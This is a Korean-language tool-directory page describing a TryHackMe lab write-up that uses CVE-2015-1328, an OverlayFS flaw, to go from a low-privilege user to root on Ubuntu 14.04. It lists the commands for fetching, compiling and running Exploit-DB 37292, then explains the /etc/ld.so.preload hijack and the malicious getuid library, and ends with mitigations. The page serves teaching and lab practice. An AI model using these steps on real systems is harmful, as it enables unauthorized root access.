Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2015-1328 — CVE-2015-1328 (OverlayFS)를 이용하여 Ubuntu 14.04에서 낮은 권한의 사용자에서 루트로 권한을 상승시키는 단계별 안내. 정보 수집, 익스플로잇 컴파일 및 실행을 포함합니다. | Kitploit
도구/GitHubGitHub/fernandocassiodev/cve-2015-1328
Privilege EscalationExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

CVE-2015-1328 (OverlayFS)를 이용하여 Ubuntu 14.04에서 낮은 권한의 사용자에서 루트로 권한을 상승시키는 단계별 안내. 정보 수집, 익스플로잇 컴파일 및 실행을 포함합니다.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2015-1328

TryHackMe 실습 – 리눅스 커널 권한 상승 (CVE-2015-1328)

목표

이 실습의 목표는 취약한 리눅스 커널을 악용하여 낮은 권한의 사용자(karen)에서 root로 권한을 상승시키는 것입니다.


1단계 – 초기 열거

SSH를 통해 대상 머신에 연결한 후:

root@kitploit:~
ssh karen@<target-ip>

리눅스 커널 버전을 확인했습니다:

root@kitploit:~
uname -r

출력:

root@kitploit:~
3.13.0-24-generic

머신은 Ubuntu 14.04에서 커널 3.13.0-24-generic을 실행 중이었습니다.


2단계 – 커널 취약점 검색

리눅스 권한 상승은 취약한 커널에 의존하는 경우가 많으므로, SearchSploit을 사용하여 Exploit-DB를 검색했습니다:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

결과:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

이 익스플로잇은 패치된 버전 이전의 Ubuntu 커널에 영향을 미치는 CVE-2015-1328을 대상으로 합니다.


3단계 – 취약점 이해

익스플로잇을 실행하기 전에 그것이 무엇을 하는지 이해하는 것이 중요합니다.

이 익스플로잇은 리눅스 유니온 파일시스템인 OverlayFS의 결함을 악용합니다.

취약점은 OverlayFS가 사용자 네임스페이스(CLONE_NEWUSER) 내에서 마운트될 때 파일 권한을 잘못 처리하기 때문에 발생합니다.

권한이 없는 사용자는 OverlayFS를 조작하여 루트만 쓸 수 있어야 하는 파일을 생성하거나 수정할 수 있습니다.

익스플로잇은 최종적으로 다음에 씁니다:

root@kitploit:~
/etc/ld.so.preload

이 파일은 리눅스 동적 로더에게 모든 동적으로 링크된 실행 파일 전에 공유 라이브러리를 로드하도록 지시합니다.

시스템이 악성 공유 라이브러리를 로드하도록 강제함으로써 익스플로잇은 root로 코드 실행을 얻습니다.


4단계 – 익스플로잇 획득

SearchSploit 사용:

root@kitploit:~
searchsploit -m 37292

로컬로 익스플로잇을 복사했습니다:

root@kitploit:~
37292.c

그런 다음 익스플로잇을 피해 머신으로 전송했습니다.

이 실습에서는 다음으로 저장되었습니다:

root@kitploit:~
/tmp/ofs.c

5단계 – 익스플로잇 컴파일

익스플로잇이 있는 디렉토리로 이동:

root@kitploit:~
cd /tmp

GCC를 사용하여 컴파일:

root@kitploit:~
gcc ofs.c -o ofs

컴파일이 성공하면 GCC는 출력을 생성하지 않습니다.

실행 파일이 존재하는지 확인:

root@kitploit:~
ls -l

예상:

root@kitploit:~
-rwxr-xr-x ... ofs

6단계 – 익스플로잇 실행

실행 파일 실행:

root@kitploit:~
./ofs

익스플로잇은 다음과 유사한 메시지를 출력합니다:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

마지막으로 루트 셸을 생성합니다:

root@kitploit:~
#

권한 확인:

root@kitploit:~
id

출력:

root@kitploit:~
uid=0(root) gid=0(root)

7단계 – 플래그 획득

루트 권한을 얻은 후:

root@kitploit:~
cat /home/matt/flag1.txt

이제 파일을 성공적으로 읽을 수 있었습니다.


익스플로잇 작동 방식

익스플로잇은 내부적으로 여러 작업을 수행합니다.

1. 사용자 네임스페이스 생성

root@kitploit:~
unshare(CLONE_NEWUSER);

리눅스 사용자 네임스페이스를 사용하면 권한이 없는 프로세스가 호스트에서 루트가 아니더라도 네임스페이스 내부에서 루트로 나타날 수 있습니다.

이 기능은 공격에 필수적입니다.


2. 마운트 네임스페이스 생성

root@kitploit:~
clone(... CLONE_NEWNS ...)

별도의 마운트 네임스페이스는 파일시스템 변경 사항을 나머지 운영 체제로부터 격리합니다.

이를 통해 익스플로잇은 전체 파일시스템에 영향을 주지 않고 OverlayFS를 마운트할 수 있습니다.


3. OverlayFS 마운트

익스플로잇은 임시 디렉토리를 생성합니다:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

그런 다음 OverlayFS를 마운트합니다:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

커널 취약점으로 인해 OverlayFS는 루트 권한이 필요한 작업을 잘못 허용합니다.


4. /etc/ld.so.preload 생성

익스플로잇은 OverlayFS 마운트 내에서 쓰기 가능한 파일의 이름을 다음으로 변경합니다:

root@kitploit:~
ld.so.preload

OverlayFS를 /etc 위에 다시 마운트한 후 이 파일은 다음과 같이 됩니다:

root@kitploit:~
/etc/ld.so.preload

일반적으로 이 파일을 생성할 수 있는 것은 루트뿐입니다.


5. 악성 공유 라이브러리 빌드

익스플로잇은 C 소스 파일을 작성합니다:

root@kitploit:~
/tmp/ofs-lib.c

그런 다음 컴파일합니다:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

결과 공유 라이브러리는 getuid() 함수를 재정의합니다.


6. 동적 링커 하이재킹

익스플로잇은 다음을 씁니다:

root@kitploit:~
/tmp/ofs-lib.so

를 다음에 씁니다:

root@kitploit:~
/etc/ld.so.preload

이제 모든 동적으로 링크된 실행 파일은 시스템 라이브러리보다 먼저 이 악성 라이브러리를 로드합니다.


7. /bin/su 실행

마지막으로:

root@kitploit:~
execl("/bin/su", "su", NULL);

su가 시작되면 원래 함수 대신 악성 getuid() 함수가 실행됩니다.

라이브러리는:

  • /etc/ld.so.preload 제거
  • 악성 공유 라이브러리 삭제
  • 다음 호출:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • 실행:
root@kitploit:~
/bin/sh

결과는 대화형 루트 셸입니다.


이것이 작동하는 이유

취약점은 사용자 네임스페이스 내에서 사용될 때 OverlayFS의 잘못된 권한 처리로 인해 발생합니다.

권한이 없는 사용자는 OverlayFS를 조작하여 다음과 같은 권한 있는 파일을 생성할 수 있습니다:

root@kitploit:~
/etc/ld.so.preload

동적 로더가 이 파일을 신뢰하므로 임의의 코드가 root로 실행됩니다.


완화 방법

이 취약점은 Ubuntu에서 업데이트된 커널 릴리스로 패치되었습니다.

완화 전략은 다음과 같습니다:

  • 패치된 버전으로 리눅스 커널 업데이트
  • 필요하지 않은 경우 권한 없는 사용자 네임스페이스 비활성화
  • OverlayFS 사용 제한
  • 보안 업데이트 정기적 적용
  • 다음에 대한 무단 수정 모니터링:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

주요 시사점

  • 리눅스 권한 상승 시 항상 커널 버전을 열거하십시오.
  • 익스플로잇을 시도하기 전에 커널 버전이 취약한지 확인하십시오.
  • 익스플로잇 코드를 실행하기 전에 읽고 이해하십시오.
  • 커널 익스플로잇은 직접 루트 권한으로 이어질 수 있지만 대상 시스템을 충돌시킬 수도 있습니다.
  • 실제 침투 테스트에서 커널 익스플로잇은 시스템 안정성에 잠재적 영향을 미칠 수 있으므로 명시적으로 허가된 경우에만 시도해야 합니다.

사용된 명령어

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
도구 다운로드